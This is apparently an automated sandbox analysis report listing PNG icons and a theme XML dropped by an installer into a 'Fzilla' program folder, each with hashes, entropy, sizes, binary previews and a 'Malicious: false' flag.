SSDEEP:	48:XduFqfnu3axVrJG7QDZCxjYk3WzYq1ev3WkGO6XciFdVqTCj1Inwt8lIL:XduFqfngUVrJG72m3Wsq1eeVYeOTCj1H
MD5:	22FB3B44DED101C8FAD11A7C752DDA8D
SHA1:	48A677C1D97810E0C41809BB4F66E3C1EA462E00
SHA-256:	8BE9B0F22FE85B9679EE83E808CAEE2E2B4C009759D838F5BF4E377343326E2D
SHA-512:	FC8C9ACC691E104E4EB3868CE0C648ECA51C28EA3A182E20D5640DE8A8ED910C7989C86BE36CA08C700F5562E6B157C2903EF0033AFD22A430B2609018029D9F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...t.I.....0g..ff...6.333333.a#cH`ff.%Gf.....7.....=..z.3.TW.7..20..........u.2.l.'....7.}p.7.<.85vicW..M...+.mb]a.O.&SlOS.-.I.Z.....%C....A...X..xi.q/q'..N.\.....wA7I.....+.z..........5....._.........w.+.A..`W..2.6.......O?.+.....l.S.....i...CF...vEn$.......<GL,wML.z.R.v.,?.g..j'...v...co..x).4+.~.e.N....f.....bu........x(...KI....v.m.q...\|7.h...vzQg.d........h...Q[."U.6....(+...&....?....8.7..............y..e..=...gT...^..N.I..K....@.#..NK.x._.<.O?CB.....7.........9...X.8.R'..e&`..x.Gx=.h..m.n.I..f....S....d_....<..G.K.Ts}G+...7...O?...+#..W.....Q.^..X.."..e.....:......L.6....m...a4.s"'.4lS/..>.)5y...s..JoZZ....'lQP8.?......y.......g.-d..pp.......\|.4...\...3...b..w....y.}.6.P..I.&Bd....9.U...oTs=.....b.~.h9...v....p!~{\|......X;.X`.o[...\|.{s4...a..O<N.]..Qk\|%..^&..9.Y.-.....m.......s.RXck....H..../..Q.c.r..]AO.X..U.....C.._e....q.2.EN...!x...gb./K(R5.D.A......1.c.x..a%../.XA.pl..QK..1..`.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3285
Entropy (8bit):	7.929718501382609
Encrypted:	false
SSDEEP:	96:VBE8hPRCXYbD3wAuNM9GHez6rUM6q0ElBBcpwH3:bzPRCIbsAJGHCsBBcpm
MD5:	7CB1973BCDE7A5F231FB826668649684
SHA1:	20A2B67270C4A1E5B1D8F3C0519195581C1FD5E1
SHA-256:	39941E1A7D07351E19435F072667A81548B7857F11A45363F516EDEB576C532C
SHA-512:	542F5453C9E24998403400A7AFB3D4358C313AF06FAFB1BCE9AE830B9FC4389B9A2F872A08A16BCF64FCCDD2F5CF390E462DA741CE6FE00CE0981B4ECE17A626
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y.X...~il............1.n....h.n.G...C......0..<..5.h..x...{.>._....z..K.M.J...^.A..`R...Q.4..F.)....0...{....3.zi.....y}.:.....5pS..s......wS..........+.1e.5...tx.:?N.1.K.!....T1....@.m<.(..YaYL....1......+\|)I...../...l/.....'g......7.,..Z2.h.O..>.?.=.+..V8?\|B.6...!.sAp..q....W.....pEa..../.E..v..$..:g2.x3\.CoG.m.4pJY...5S.....f..fS..X&...p=u/.NX..............2..Kx.v.[T.0....m.?:,...h......`.?..}:.....9.^a..m.@.2...............f.Xs&.......>.~..>..&R.<.I......uXra.C{.l....................'....W.E...R..L)..f..?..n....3.N.....m_:.,.}..G..P-....l,......_.C....3.Bt....v..p..g.....mKG.....`Z..........#<.~}?...#]N".......y.J..~."DO...%.]...ZY...p.....uN.)O...(.\.......T8...Z......l..m......q3.......4z..4..uq>..^............j...}...\|*..O....$.V....2.s..<.p....o.p..@..........ro..K........R.3H..?..=.W.bZP....................oH...."...d.7.^...gBi.Da.;...::w6i.x}9.~9.."~CV\.+}R.u90..h.....b.W.}9....#I.4+.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2283
Entropy (8bit):	7.891705771745528
Encrypted:	false
SSDEEP:	48:wYIdbZuw+9RqJIe5/uKnHVZRkF2YN5pBrzEdTpB6b46WEt:wv3uX9RGIe5/uO3M2YNbBrodT7IYEt
MD5:	25B263DF6EB6B2D3FB2F68FD71738759
SHA1:	6CCACF3F6E5F8457650B256DDFDFB8417D11483D
SHA-256:	D5F1438E45C40F4C064F0A399D418B09B78858F366BFFDCD2EDB906EC4CC74D9
SHA-512:	87F50CB1BD31DD28A4DD2EAE9C74448DD19003526309998CE5F1A74ECDBBF98B2D20113161697F6290F793152DEC2691F32C07F1EE203D95AFD9A02B05CDC8CE
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...t...F.$...233......}.......2.+/.....-.<Y:>en..w..._k..G.Z..9..#..V2....$4O..r{...\|....n../_.m.]J@l`:.....e...iC.{.}...K.9....!D>r0.s.k..eT.M...a!..8.........\|.....u....\|....p@......T..'p.q..Xa4NX......v..jz.<.\|.#bC...>.._..G.................../OU..NR-.wR......s.....m.w}..!.S.5 .....X@....B.....yN...uw.......?.c./...'......V1.......0....h..<....yn....\|-7..4..{'T.. X...."......J.......q..x.}Y..?FW..#x.Z....g..O......s........C..t...c....]fW...-...Z.5.h..X..t..4.HD.$.'.>P.F(.....N.(.5.....#R %.d.J...v..puy....!q...z.`-.......y.2?...1..S.1$.(. ...$.,.x..<X.........$.k..Q.#.8F.F....L....(..)K.x.C..f....l....Z1~..&l[...v.....Y.....Bx.Q...y...+...Zf..\|b..5..4..8%..rE.N>=......Gj[.....9.......T.Cy.)..z.. ......><.... .........=.J.......&.......pF.....L.F.........<..3...L.q......Q..7....A-\.:..]..I.`......[<..@#..f..@.X...u.K..;......z..)2N.r>..W.c....[@6W.....\|.gG..' .l...y.)...L:I...T:=.+oZz.q..w3.!.u....

C:\Program Files (x86)\Fzilla\resources\lone\48x48\showhidden.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2702
Entropy (8bit):	7.902295721424778
Encrypted:	false
SSDEEP:	48:GkRJzZBYN2cHvcNkm01Ta8bs0VSR9nGJz1vf3T9pogYhh5/Xgg:GkRJzZBYN/Hv/m01TPbssI9GD0hh5/x
MD5:	3E5B63CCEBBABF0C4C5E370B2F8697A4
SHA1:	18172CE6405F32879D4F2858BC906E9F847B2CC1
SHA-256:	2D9F1C42C7591532F6D182A683A97D9B23AEFB2CE6A46178BC1E5A48634BB375
SHA-512:	7A8C9DDD5F45170887BCC39D038E3AAC9965076FFCA801B26449D819768A7C35EA6695D40BC920C1794FDC09C245590649A8C587D916276D4DF0342611EA21F0
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......UIDATx.....I.E_5H..3{..;.efffffff.]..2.......8<......Q1.}!....~V.....0...?...P.(`..!6...l..$.$...yS...@..].=n....=..'.....S......4h.p....4....?Y@i.......CF........ .5uuuX...1G...3...(.....=.8..5...D.,.b"`..........4...%@..?.h.~.dm..\h.I...O.W.^..8.L..7.H.P .c.N.JII.[m.....h.....1q...[.....RJ.7/.--..=...s....o.......Y..~.i..O....?..6) k..d..w..S.N..Rum}.`...kjj$f...k...3.R..W.g....E...;...W_.s.=...v1.VR..L.]3.]^z."...P\hq..:....\y.kL1..nP....u#..~....+..X\...\$.......1.,...?O..Q.?.?.5..'.l.......W..:....e.sZL.t1e8.Ga.`..AK....'O...~.%0_=..#..g.]...7._..So.......O<E..Q(....D..!YY.O..K~....<.M.d'...X.t......\q...8.~.W..o..s..g..QJ.........8...D..i]wx.JH.........bO.....5h....f...[o%.kF'R..........b.T.C\.....3]M@nV.V<..d......q.9.@.....>NE..Ks.....n.9....lsSN.....;.x....../......M>9{.._R.oO6.......Zk(D...i...-............>:....a).Kvb....:...h...P.(=....q....K7Y.r....Y<..%.w...4....t..Z:P..l....+..c.N\|

C:\Program Files (x86)\Fzilla\resources\lone\48x48\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2626
Entropy (8bit):	7.905709801224381
Encrypted:	false
SSDEEP:	48:iTXxaM5flG7EDs1HLqrzj2vxVxkJWsCwyLE8FEmHsnv0SaG:iVaMFl+MIH9/kR51tKXpG
MD5:	63F9C7BBA4EB213149B29A86BE75D8D5
SHA1:	91A6570B2CB2987A2D24CDE499EC4F84E29A4A23
SHA-256:	78CD3A0871C8A138863528DF4DB173014BB86EC49691D4BC771D19589FE270FC
SHA-512:	2EF67DBE4C76F4773C8C8A77691A60328430A95911B8704CEC59F2EB451116B5D8EF7738D3FB0E33F551B16B064C9DED5A6FCA7CBEE1B25D78A30BFFF8B75898
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....t.9..g.fN.b8.efff........k.xef...1...'...........[.M..3I....V+;..{n.Z...(....Z6...=...............W;88.........R]XXx......Z......wrr:.....;.T...J%.&55..}.z.....U...+,CBB....e!.....n.u..s..=...g!..._A.~.#...qLLL8.u.C..>}.t?SSS.r.\|'44T-..X.....>....}}}{.c......l..Q33...;'...........\.ti.... ..q.F$.@@" .o...W..r.#i.V....".......w......:.DFFv.:=..Z"@...x.......KJJ.-.....x.'-...H....(7,.#....../....\|..'....z.d....4i.;2.......3....LKK.............ooA..1.w.O\..........~...j....^....,.f...A..PTT..O...`wSj....B...>...I......6..`._..[..,.r.q....R..-/@..........$H...'I[MM.N[.o...~Q=..i.].... Szy....cm..q....;......A..W.([..h,.........+.'F.".......1..e..%$...!~...I...* k..h..............H.....h..`..i.'..]..A.2.[.$.Lj.......%...[,k....3V....b.Q."..T8....4M"..K')--.Ey-%.@.e..V.K..........b.}}..y.~.5.1X@ee.x..Y.~...D...w..:w.8}b...2....b.........\...+..v...Z..._3....P.,".5..[...2.r..v..0.....6..#......n.J.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3435
Entropy (8bit):	7.917337931066047
Encrypted:	false
SSDEEP:	48:Yox/a9GEUOneOPoIqfBe+paDU7Z5yOMeHC8MSJYYUE8+bzQ6nFS3uYLcCJrBRWcT:n6UOekQBeOXyAHCIfUkQOwOUtRWcT
MD5:	C32799EF0D36AD912646A53FF6321C4A
SHA1:	416045E40104628C2D097F62D3BEC6471822F133
SHA-256:	DEAA01CA5C552A0E8C2A8BAB044E2A680B752BF5A7296D755217B9B5AF290047
SHA-512:	D54E073B28438EE3F1E7A1FA860E51EF872FFF35C1FF768F4B12C993110B34DA610F3CE97C311A3BFA94CA27F1B5E223A8093B46A775C4819D902B0EF76DF865
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......2IDATx...ep.......#V...3.(..23..e..ffff.\F.03'f.%..0.....k...U..{x..........$...?..f>.!..\|M......a...b.T.R......!...e."..O....qJ...Phi..."."...b.../.=.....n&..@...........).._.[.\|l....>......4..@...@......D....^.0../...>.h...Q..p......'YP..ojj...w..n...2.............5...9.eey........<.....ut.S...X.w.6.=...5.0.s...`.9,....>.+..E.'D..x..~.....V....6.i..7..::.s..$.i..6X.....2q...o.56.EEE..J.....i.U$.J.w......_....[[....x..^i}.m.m<2.....~..o.....ts....z.&.....gW.m.D.M7q..I.B.#...l..../.2.[.rC..._..)...O.QF..G........[.X...~..........?..f...%....<.n:.I.e.......dE!\.....z.........'...G.C.f...7..#.....J.]%N..4..}.HZ.M....y..S..i.4`.-.=.\V.Y.9...\|......Z........_../......_......+.$....8d...=.j....p....@..f....U.f..m....n.u........z.=}\.drNb.B.!....r..U.j:_~...{..f.p.\x..P.#G.....iB.'..E:.&.Hp........&.M`J.....:"-.........xp.O..~..].:.x...).P..H.PI..4...\....Ba!...F.*....I.....&.....h...,.$\|.....D.(...U...&BN

C:\Program Files (x86)\Fzilla\resources\lone\48x48\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3150
Entropy (8bit):	7.901292238314475
Encrypted:	false
SSDEEP:	96:SAYs/XWMWgfRMQh0aeD5d6MZpA+7GnVF9H:4s/mMWKMVRD5d6MZu+729H
MD5:	5D73DDC4635BC87D88559D2507D9834E
SHA1:	BB2D0722362BCFA91F8AA8790A0352615DA590D1
SHA-256:	605CD86DAD008896EE2583252C66BF6602C8F48F720A9584233EC1330071571A
SHA-512:	CEC008EB72BF2C6647A84C64DF15AD902A9DE3610F18BE2EE8EA1E1C9B51BB660822088DB7A910E6E3A64CE41CF811A797FB64CC66457A8109F19630455B28DA
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...x.G......dY..e.....0333G..,Cpy7...ff..9.,...b.43.]u_u...:........VOb.......3.....k...\$t.w..li..".........o....@.;.,...@T1.....t..Wt...r.R..J.u..8.@@D...0.})e....Zy}.q.y.-...H.../,e\|^.q..\.B>..6d......t..0...B.(4....L...~...T...;q.cBcM...S.X.:.......l.4i.Dl@.mt.g......g.z.{.6.Ii.........F..{)..F.=.'...!.....R&....0k......".1......r...M.,qP..QR.#[.$....$.....D.t% V^.t.,[..L&.5.B/.Q.....@Ah\|M....S. .UR1....d.......yGD5.....8...{zzP.T...<..4..(Tk. u.PE.Q..7.Q<.k(....".e.2w....!5J..cN.."....^.c.=..y.k...P.-...r.?.......c4.`]....F..vZ....B..).J..0....;l....at.D...........;q.^2O@.qH...Da...O...5.P[.e..0..0.k.h..T..q.@.P2g.b.T..b........&...C..@..5.I.!..f.q{...&.Xq.]n.4Q.P..Y..`...P.F\|.G...0..?._..5.. .:P..!.8.k.5..`.Y4..(SY.(I.._z........ AP...:..u.=.J.Ac:"2b....2...T...&.!..\|..[...3 ...PP..A.K.G.r.3.t.[.k..e.k.!..j(h....N./.....L..Xm.>.?..}.......d3.E2a..O`......7F..yS.g.....L.f..:I<.....8@i...~[B).M.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.809729910170398
Encrypted:	false
SSDEEP:	24:SZtQY0DaopQMqrZe7SVPMsuZDuWSaS6LnpKwmX2DxJgpT5wGi+7359gdWvcb:AtQhfp3qgSytXfZLNr2T5N59qQy
MD5:	8A375BA8F9478D5DDDA1E56C5B712F43
SHA1:	C6D2ABC6A1DADDAB007886CB915C86DA55D40CAD
SHA-256:	6191CB83840BAEEFDF9CC0B75863EDE281503497649F7FEAB93A3BCFFC35ED3D
SHA-512:	43AE1BBE597B879E5DA5884FCB269687FF7A8DAB38291505370FAAA87C970F0673AC2E5796ED655F8D1CD4227B1CCFFA2FC2B34D807BEEECBCFC489C521F50A8
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......NIDATx....+K.@gw6y.m.m.m.m..g..2X+._...8...z.{v...5.....k.<-.\..ccC....y.`.i.@.6m.Ina..g.e.8.......u..5..g.={..N...8z..II`.?.4../H6..Q.../X.... ...-.Z..PU....=0..,^.....\|....z......%...:..D..H.D......\.R...:c........ .<}..#GB...$.l.U.r.t......k.....D.X...c..Q......Wd$h.6.y..}.K..3W......pp9...h.W.C.@f....9P..l.e...%p......D.D.n7......A@.%D...r..m[.e.....U.n..q..A.....l....iSH.j!..K....#I...Sg..../..U.b...W@S........a.@.:.......SD?~........+..P..g..Ui...aj3..\.c......l...*0`.h.5"...Y..$M..........?...D....>].y....jp.:.M`.B0t....A.2%../....A.7/y<......`.w......{..w. ..c..(...............Zb...(......A.!..`.1.........M.q......H..]...D2...97\|......}._.... .o.1...?..w=.k. ...s......JR....k..%fYr..."l..X6.pK....q.!.GU."...i.\|.6!2.N3....l.].Hy.`..O`0Ck.,Y.....=.O`..'..S.^....\|.{...}.%.@.. ....nR+.......PW..%..V....~..W....\|iT.V.....y...w......u^.#.}K..5....F.q.......K .)J...O.z.... ..K...P......

C:\Program Files (x86)\Fzilla\resources\lone\48x48\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.864312517363015
Encrypted:	false
SSDEEP:	48:uhTNfqGX9DMjOQzKJ4JjEBAHpEgzaW90ixGIs9:uhTNfqs9DE99JOIs9
MD5:	72B0A7F7B84E12502744371AD1F06B8E
SHA1:	802ACC403D8F9F3ADEAD854118366974F059648D
SHA-256:	A68AF73B86B1466578841F4306D3ACCF7E354807EE9C295B3BF80A4D94BB408D
SHA-512:	FD53B341CF431B9C05D423A02DCBBDC59F76C9D33A66B6FF1B17623FCA2B8BBA00C5B8D08346BA7BA51C3D970ECCCE788FACEC7813531368A486CBD1F0CDE120
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......^IDATx...t.]..g..f..a...m3............X.......l...s......{;C}(n.1..{...w..\.t)`......p.T...@.AHH.H$.HOO...PX.r."..!...-64\|.Z.._...'DDD........K u...%K.S&M..J........,#.0aB..d....6A.......c...s....?n.055.~..I.$?..<c..........V...1c.J`.......7..?..:t. .H[..z.#PWT.$.\|}.'sV..-(y....v..[.n.c..?r......=z. `aaA.bF....RO.~.....XZZ......[.B...."......F..d<<< 11.D"....CU\.)...m..r........Y..;......3..>y.....ot.kk.....>K....$p.r....j.. y.(...yj...>}:..?..3.K.,....L.......,..w..8u...b.7/_.'..3.....@..Y..w.@\|.Q1...F........9r$.W.^\|.........$-@&...{P]]........Nd.e 62...P...._O.0.b..6Q..---..<...7!......Q....7n.\...L...Y..&+.J.. V]=/ZIIYn.#F..`Y5.`..P??.55.).<z4..].... 66..0.....3...@....3v...`..b..H .......26.bZ....(...........Q.b....c.1...L..^. VC..[..(>.J.......\.6.]..E.........x.G... 11.....-H..#FE.pq.i.<....X.+...6;[z4.qg.....m...."..~<.j..:t.Sy``M.X..8..q.@....I2.E...du&.w6.@....V''C..u.....D..28...#...u.{G.S3.

C:\Program Files (x86)\Fzilla\resources\lone\is-TBB7V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	272
Entropy (8bit):	5.0635375478303075
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgK6GrE5aQm37lrKLDyZCs/oHUTUZBOHWXdQUGOH1QIKe:TMHdtAgzGSm1aDyZCsgHKABOHW+LOH1R
MD5:	E1935C1F19C9BF407804F802F4D0E447
SHA1:	96950304E316ADE7EDAA34C93D77760081A053D8
SHA-256:	FE6A9AF558557032B43792980C29A6C425F6C2162CDF4CF91721E3228D6B8116
SHA-512:	BB1FFC48346AA7FD659A444FE5EA43394551156AD6BF8B136FBED8DA2894827B3432D9301441384D2964E6606E49B553150100D73A0A50702E4389B71678E5E4
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>LonE</Name><Author>Ricardo Cabral</Author><Mail>ricardolcabral@gmail.com</Mail><size primary="1">16x16</size><size primary="1">32x32</size><size primary="1">48x48</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\lone\theme.xml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	272
Entropy (8bit):	5.0635375478303075
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgK6GrE5aQm37lrKLDyZCs/oHUTUZBOHWXdQUGOH1QIKe:TMHdtAgzGSm1aDyZCsgHKABOHW+LOH1R
MD5:	E1935C1F19C9BF407804F802F4D0E447
SHA1:	96950304E316ADE7EDAA34C93D77760081A053D8
SHA-256:	FE6A9AF558557032B43792980C29A6C425F6C2162CDF4CF91721E3228D6B8116
SHA-512:	BB1FFC48346AA7FD659A444FE5EA43394551156AD6BF8B136FBED8DA2894827B3432D9301441384D2964E6606E49B553150100D73A0A50702E4389B71678E5E4
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>LonE</Name><Author>Ricardo Cabral</Author><Mail>ricardolcabral@gmail.com</Mail><size primary="1">16x16</size><size primary="1">32x32</size><size primary="1">48x48</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	262
Entropy (8bit):	6.363373624193421
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt/yyzZ66j3aRsSV4UBaM2wG4miXCC1kmw//+RQhl/+xewdcP+B:6v/lhPfySaath2dckY7sL5uPO43Yp
MD5:	7F3A43B9D43AE40886EF23FDAD044E5E
SHA1:	13AD1D12A72AAB3A6CCB614D236312D1CA678621
SHA-256:	C0D5EA62B0BAD930198D75B62A08FDD5A34B1F042EAAFF84BEADA907A0565290
SHA-512:	9C73E5DD8255963B68581BC467B3ED79BDC3B9EA019171B7A8800CF1ABA14B75FBF334864DCD31474A36442B0A15DB2CE74EFDB6A2A48DEFF9B23F3B48377091
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...QPLTE...???777GGG............?C?......'3'7;7///..../.....{......p.......'''.s.OOO..../......tRNS.@..f...cIDATx.b .....+.........Y;.......@...B.U..7..*x.{..s~.....\..P.z.Zq.aa...'....y..:.u(...a.[.p..<......0.f.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	270
Entropy (8bit):	6.493229775851387
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt/9s7SCshSSRmpiiMCBs8y6kuS6Xhl/DojWz7WK0BoH6sMJyVt:6v/lhPf+h9oWNa549qbsIpolKKVp
MD5:	07A8D183C3F4F232E309D9C223EDC582
SHA1:	D8ED3AD5126D2CFB3CC58B9B34377BF7791603ED
SHA-256:	ED7D1AF4F214414A0959F3F172FB4287A09FD3DAF525A2CBB35B20D0CB1EE52D
SHA-512:	0000C8F595E5BC2F2DE05736AD1C483D50A0F6984F11656248846DF5E0D330F3AFF30321FC331958143F21D8BF7CA9DD2DFE981E1D4B8D95A2BF30B784124D0E
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...HPLTE....{.......''''3'///7777;7????C?GGGOOO.................................Y.......tRNS.@..f...tIDATx.mOE..0.+ZU..../..[da...$.....Sx!.,$....a\|..C).....vt.C.....@M0..W.S.f>=M.#..+vh....`Zs^.W.Xj-..PJ)._....O8..4.OSv....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	255
Entropy (8bit):	6.506559859382529
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt/B1SbRFbeMqS3S6hU9yUXQRpKvl/kR3Qhl/d6jFfxT2LhB/73:6v/lhPfBNis/hyjJx4znWPjkC4p
MD5:	B8ADB48407C71383C9EC32F725BAF04C
SHA1:	B555E0BF4F874EC1EEDCF1E14F2D0F5A326865EA
SHA-256:	66F0A9E4BC950786FD81B69C2A296DEF1D39BC91E08AA67DFF42AE1FB69FC62B
SHA-512:	871FDE29E5EC1E624620E8716F8423D9A4F57EBF8111112BFC2887FB68233D815018D64311E353B393BBD5E14EBC8ECCDB451F9F597AD157CDBFE0302C7D3B71
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...KPLTE......777......???......'3'///OOO...7;7..../.GGG......?C?.{..p........s.....mQU....tRNS.@..f...bIDATx^..G..A..q......)-4..'.c.\|..%.....~d.U1......nX^....k.!... o....9.^>Gi.L)d.>C..#`.zJ...'.L....4.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	275
Entropy (8bit):	6.64635030976887
Encrypted:	false
SSDEEP:	6:6v/lhPf+sapJMuJVLNwllhNnS0OUrsQ84uWupmvWvI08up:6v/7dapVLwllhNS0OZQ84uWhWwVc
MD5:	6181E6C4639D7B0B83422B2068E8FCC8
SHA1:	26DBEA9138E3920BAC74B667BC06C38413DAE437
SHA-256:	BB1230F4448E83604D0F13CFED907E76E444435B4577B3CFFBCBAF9D6F237A84
SHA-512:	81B6F3C71D33B42C3CCC880993678BCDF592E1ED7A00EE3EA430CE2CAC525CB9BAB1416E55B78002D6B6ADB560ED5FD8DC4A777BBFA4F08233CAA3ECDC34F90F
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...]PLTE.....@._.......1..t.p..J........D..H..L....-..5....4.......h.9.......8..<..\|.......+....tRNS.@..f...dIDATx..........1^...\./.t../5....r.....rP....._%.x...1..Q.#b....S......w?.........a...eq..{`.;;.V... .....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\bookmarks.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.6795619482457615
Encrypted:	false
SSDEEP:	6:6v/lhPf+XJDxSjZaUMEEp5/ahgKD+uIl5ghek4lDurmYPCeKfHB0Gz0LFhAb8Tup:6v/7mSIFZPahgKD+uIl5gh7oDkmqzOBD
MD5:	5077045C5791253D61D133254D40CE0D
SHA1:	76397DBBFCAA0A572757CABF49AEC9D3A0EC6D56
SHA-256:	B8007C3FE22D9AB1BA1162ABF9FFCEF977EA559D7C4DEC24815BC4A57E1C9AC0
SHA-512:	408EF7AC27A0C3AFB2DF0EC6104DF573868F02C2008329C0D1EACE8FC0EC49384DF6DC2C06CB7BF1EFEC6184102E8318EB0E07511410E154FF038B5127A8D586
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...]PLTE.....1..@.J.._......5..-.p...t........H..L....<.....D........9...8..4..\|..h...........v....tRNS.@..f...mIDATx.m....1....r}...yk.N...o.E..b.5.4....../..}.@s..^.V.W......D$^U.....f'.V..a7.."rU+.;tx.;.oE..........m.SD....;.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	196
Entropy (8bit):	5.8489096014909405
Encrypted:	false
SSDEEP:	3:yionv//thPl9vhSFlsypha/vKa5lllkqhl/mxjvJtP/3x1oST103OOE/dyVfkEza:6v/lhPIFlCn/lkqh+tDVTQVfkEzxybp
MD5:	94202E205D87CA5BEE17DD254429708A
SHA1:	3EFB5E026836C62B964202B6B02EE49DB06F3B67
SHA-256:	4C82DBE6F5E908A685DB0A99777405B7313F7F78269B2E6389DB218A2B47E234
SHA-512:	0AF7391CA9CEB5889473EEFED2DD08549D44C036F6399C01A37C5FA043D8E649AF042BED736BBA7C7DBBFE8F2D4BC71C457BF99A3631BE52521D7F14E76B1E59
Malicious:	false
Preview:	.PNG........IHDR................R...'PLTE....//................''.............??.h.5....tRNS.@..f...KIDATx.c......@4.Ih.!.!...(..0.l..1..3{....R.{gI....f...Ap......90..v!......E).....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\minimal\16x16\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	156
Entropy (8bit):	5.6950909402652785
Encrypted:	false
SSDEEP:	3:yionv//thPl9vhSFZXAZSDInthl/Ok18Q6lp1parZs1Ywbp:6v/lhPIFZihAk1G6+Rbp
MD5:	62972FD79A0DE5F47F72876A8B8B2085
SHA1:	CACE27632B9A59C0764BFC9EB6D424F153D1C917
SHA-256:	9BCD4A6BF93F0BB529901FCDF52C11D32E9D34EEEADDE69CC0969FF1BCCB14F8
SHA-512:	EBAAA51B60B1B25988DBAE6F5B0E9938B61FCEE7173B2B64C30F71F6E70B51A460D325A21E0508452198338B0EF3842F49ED682D1F47DFC90FC0D0D457D7C3F4
Malicious:	false
